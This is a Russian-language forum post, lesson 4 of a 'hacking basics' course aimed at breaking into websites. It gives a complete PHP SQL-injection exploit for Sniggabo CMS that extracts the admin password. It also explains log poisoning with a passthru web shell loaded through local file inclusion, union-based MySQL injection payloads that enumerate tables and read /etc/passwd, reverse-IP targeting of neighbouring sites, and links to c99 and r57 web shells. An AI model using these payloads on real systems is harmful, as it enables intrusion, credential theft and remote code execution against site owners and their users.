Авторизация  
0men0

Основы хакерства. Урок 4

В теме 1 сообщение


Здравствуйте уважаемые посетители портала. Вы читаете 4 урок из серии «Основы хакерства». А вот что мы сегодня разберем:

  • Методы определения версии движка сайта/форума
  • ReversIP и полезные инструменты.
  • Разбираем сплоит.
  • Более углубленное знакомство с SQL injection php include
  • Прогулка по багтракам.





Методы определения версии движка

Вообще при анализе сайта, нужно сразу смотреть есть ли там паблик скрипты(т.е. не самописные)

Что бы найти и использовать эксплоит, нужно как минимум узнать имя и версию CMS, форума или каких либо других скриптов

расположенных на сайте (фотогаллереи, новостные ленты и т.п.).



Бывает, что данные крутятся в подвале сайта. Но обычно от туда их убирают.

Гораздо более эффективный вариант это посмотреть исходный код страницы.



Для танкистов: что бы просмотреть исходник страницы нужно нажать на правую кнопку мыши и

выбрать «Исходный код страницы», или что то вроде того (в зависимости от браузера).






Итак, в исходнике сначала смотрим на текст заключенные в комментарии ([!-- --])

Как думаю понятно, это текст на странице не отображается. Там как раз могут быть указаны имя версия CMS, иногда можно найти мы

администрации и прочие вкусности.

В исходнике также можно найти ссылки на каскадные листы стилей (.css). В них иногда тоже можно кое-что найти.

Да, еще можно преднамеренно вызвать ошибку. Т.е. попробовать открыть несуществующую папку на сайте (что-то типа

www.site.us/gone/), вполне возможно, что сайт выплюнет полезную инфу.

Ну думаю тут ясно. Теперь поговорим о форумах:

Обычно, что за форум определить несложно. Сложнее узнать версию.



В phpbb например есть очень интересный файлик —

CHANGELOG.html



Его, возможно обнаружить по пути

<br><br>

forum/docs/CHANGELOG.html





Там можно обнаружить надпись вроде

<br><br>

phpBB x.x.x Changelog





В IPB 1.3 присутствуют файлы ssi.php

show.php



В В 2.0.*

<br>

/sources/help.php <br>

/sources/usercp.php<br>

В 2.1.*<br>

/ips_kernel/PEAR/



Ну и к тому же опять же нужно смотреть на исходный код и на ошибки.

Кстати, еще стоит сказать, что доверять баннерам в подвале не стоит. Умный администратор поставить фальшивую подпись.



Reverse IP и полезные инструменты.

Бывает, что сайт написан на чистом HTML без применения скриптов. Казалось бы, взломать его почти невозможно. Но это не так.

Выход-Reverse IP. Суть этой атаки в том, что бы взломать сайт,

который хостится на одном сервере с целевым сайтом (если такой

имеется). Либо наша цель получить root(права администратора) на сервере.

Тогда мы ищем, какие сайты хостятся на сервере и пытаемся

взломать один из них.

Ну думаю, суть понятна. Другое дело как узнать какие сайты присутствует на сервере.

Для этого мы будем использовать сканнеры.

Например, я пользуюсь вот этим онлайн сканером от madnet a



madnet.name/tools/madss/



Так же он составляет примерную структуру сайта.

Вот еще неплохой



security-digger.org/



Тоже присутствует возможность составлять структуру директорий сайта, а также reverse ip.



Допустим, забиваем адрес www.job.ru

Сканер выдает нам соседние сайты.

Если речь пошла про онлайн тулзы приведу еще одну:



x3k.ru/



Здесь есть куча всяких кодировщиков и декодеровщиков (пригодиться нам при инъекциях),

так же есть сканер портов Reverse IP

whois сервис и еще несколько.

Кстати, если вы пользуетесь браузером firefox, то можете установить плагин Reverse IP



А плагин LiveHTTPHeaders поможет редактировать HTTP заголовки.





Разбираем сплоит.

Для тестирования желательно иметь в наличии интерпретатор php. Кажется, на 2 уроке я

советовал поставить тебе mysql+apache+php. Если ты уже поставил это и у тебя все работает стабильно то ок. Если не ставил,

советую установить Denwer

Процесс установки прост до безобразия. В состав входит все, что нам нужно. Тем более на следующем уроке я хотел бы показать

анализ одной CMS, так что Денвер просто необходим.

Мудрить не будем, и возьмем простой сплоит для Sniggabo CMS:

<br><br>

Sniggabo-expl.php<br>

14 июня, 2009<br>

<?php<br>

print_r('<br><br>



################################################<br><br>



Sniggabo CMS - Remote SQL Injection Exploit<br><br>



Date:                11.06.2009<br>

Vulnerability discovered by:    Lidloses_Auge<br>

Exploit coded by:        Lidloses_Auge<br>

Homepage:                http://www.novusec.com<br>

Greetz to:            -=Player=- , Suicide, enco,<br>

                Palme, GPM, karamble, Free-Hack<br><br>



Admin Panel:             [target]/admin/login.php<br>

Dork:                "powered by Sniggabo CMS" inurl:article.php?id<br>

Use:                php '
.$argv[0].' http://www.site.com<...ite.com<br><br>



################################################<br>

<br>

'
);<br>

$url = "$argv[1]/article.php?Id=null+union+select+concat(0x313a3a,userid,0x3a3a,password,0x3a3a)</br>+from+users--";<br>

$src = file_get_contents($url);<br>

$data = split("::",$src);<br>

echo "Admin: $data[1]nPassword: $data[2]n";<br>

?>



Во-первых обратим внимания на эту строку:



Use: php '.$argv[0].' www.site.com



В ней показано, как нужно использовать этот эксплоит.

Как видишь запускать его нужно из командно строки. В качестве параметра передаем сайт.

Далее сам код:



В 1 2 3 строке мы составляем url

$argv[1] сайт, который мы передали в качестве параметра.

<br>

/article.php?Id=null+union+select+concat(0x313a3a,userid,0x3a3a,password,0x3a3a)+from+users--"

; — собственно сам процесс получения логина и пароля.



Далее

<br>

$src = file_get_contents($url);



Обращаемся по составленному адресу и записываем результат в переменную $src

<br>

$data = split("::",$src);



Разделяем полученный результат по ключевой строке ::

<br>

echo "Admin: $data[1]nPassword: $data[2]n";





Выводим.

Если мы будем раскручивать уязвимость вручную, то результат будет таким:

Login::password

В сплоите как раз по строке :: мы делим результат. В переменной первый элемент будет login а второй password.



Local PHP include и выполнение произвольного кода.

Сейчас мы поговорим, как через локальный инклуд мы сможем выполнить произвольный код.

Как ты помнишь с помощью этой уязвимости мы можем читать файлы на сервер. Так вот, значит мы сможем прочитать логи веб сервера. В логах сохраняются все запросы. Нас интересуют

httpd-access.log и httpd-error.log.

Суть в то, что бы подделать HTTP заголовок записан в поле User-Agent (например) php код. Далее это код запишется в логи, а логии мы можем загружать. Вот тебе и выполнение кода.

Во-первых как подделывать заголовки. Выше я приводил удобный плагин LiveHTTPHeaders. Если вы не пользуетесь Фоксом можно скачать программу InetCrack.

Итак, давайте попробуем забить в поле Referer такой код:

<br><br>

<? passthru($_GET['cmd']);?>





Все код записан в httpd-access.log. Теперь нужно с помощью инклуда подгрузить его.

Тут придется перебирать пути до логов.



Вот стандартные forum.hackzona.ru/forum-f8/thread-t13002.html



Ну допустим путь оказался таким:

<br><br>

../../../../../../etc/apache2/httpd.conf

www.include.us/index.php?page= ../../../../../../etc/apache2/httpd.conf&cmd=ls





И мы получим листинг файлов текущей директории (ls).

Только учти, выполняется только тот код, который стоит первым в логах. Т.е. у нас будет только одна попытка, а потом по новой.



SQL injection.

Особенности 5 версии mysql

Что такое magic quotes

Как можно читать файлы с помощью инъекций.



До этого мы разбирали инъекции в mysql <5

В 5 версии есть кое-какие особенности.

Ну значит, с помощью команды version() мы узнали, что база данных версии 5 (or <)

В ней присутствует таблица INFORMATION_SCHEMA, в ней находятся таблицы и колонки базы. Она избавит нас от ручного подбора.

Реализация

<br><br>

www.site.us/index.php?id=1<br>

www.site.us/index.php?id=1,table_name,3,4,5,6,7,8,9,10+from+INFORMATION_SCHEMA.TABLES/*

<br(Читабельное поле 2)

И так тут либо мы увидим все таблицы базы либо только первую.

Если второе, то прочитать остальные имена можно с помощью limit:

<br><br>

www.site.us/index.php?id=+union+select+1,table_name,3,4,5,6,7,8,9,10+from+INFORMATION_SCHEMA.TABLES</br>+limit1,2/*





Читаем 2 запись.

Так, допустим нашли таблицу.

Теперь смотрим поля:

<br><br>

www.site.us/index.php?id=1+union+select+1,column_name,3,4,5,6,7,8,9,10+from+INFORMATION_SCHEMA.COLUMNS/*





Опять же просмотр конкретных записей:

<br><br>

www.site.us/index.php?id=+union+select+1,column_name,3,4,5,6,7,8,9,10+from+INFORMATION_SCHEMA.COLUMNS+limit 1,2/*





Ну и ищем поля типа password или login



Теперь поговорим про магические кавычки (magic quotes)

это процесс, который позволяет автоматически экранировать входные данные PHP скрипта.

Если magic quotes=on (активны), то входящие одиночные и двойные кавычки, левый слеш и NULL знаки экранируются левыми слешами.

Волшебные кавычки бывают:

<br><br>

magic_quotes_gpc  проверяет запросы HTTP (GET, POST, и COOKIE) <br>

magic_quotes_runtime  функции, которые возвращают данные из внешних источников будут экранироваться левыми слешами.<br>

magic_quotes_sybase  одиночные кавычки экранируются двойными



Надеюсь понятно, что если magic_quotes = on нам это очень не на руку.



Скоро я расскажу, как это обходить.

А теперь как можно прочитать файл с помощью инъекции.

Т.е. мы получим тот же локальный php include

Ну допустим, есть инъект:

<br><br>

www.site.us/index.php?id=+union+select+1,2,3,4,5,6,7,8,9,10/*





Читабельно поле 2.

Загружать файлы можно так:

<br><br>

www.site.us/index.php?id=+union+select+1,LOAD_FILE(/etc/passwd),4,5,6,7,8,9,10/*





Прогулка по багтракам.В этом топе я решил разбирать интересные (ну вообще какие будут) уязвимости с багтраков. Вообще я часто уже говорил, что чтение багтрак лент

идет только на пользу. Пожалуй приведу несколько:



Русскоязычные:

<br>

bugtraq.ru/<br>

securitylab.ru/<br>

securityvulns.ru/





Остальные:

<br>

milw0rm.com<br>

packetstormsecurity.org<br>

securityfocus.com







Приложение:Во-первых, как вы заметили я опустил раздел xss. На данном этапе пока не знаю что вам рассказывать, поэтому просто дам ссылку на интересную

статьюhttp://forum.antichat.ru/thread8038.html

Во вторых несколько ссылок на веб шеллы:

<br><br>

c99shellhttp://eraserevil.pp.net.ua/_ld/0/87_SiJ.txt<br>

AK-74 http://stranger.nextmail.ru/userban.txt<br>



r57shell http://www.securitylab.ru/software/234092.php



Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты

Для публикации сообщений создайте учётную запись или авторизуйтесь

Вы должны быть пользователем, чтобы оставить комментарий

Создать учетную запись

Зарегистрируйте новую учётную запись в нашем сообществе. Это очень просто!

Регистрация нового пользователя

Войти

Уже есть аккаунт? Войти в систему.

Войти
Авторизация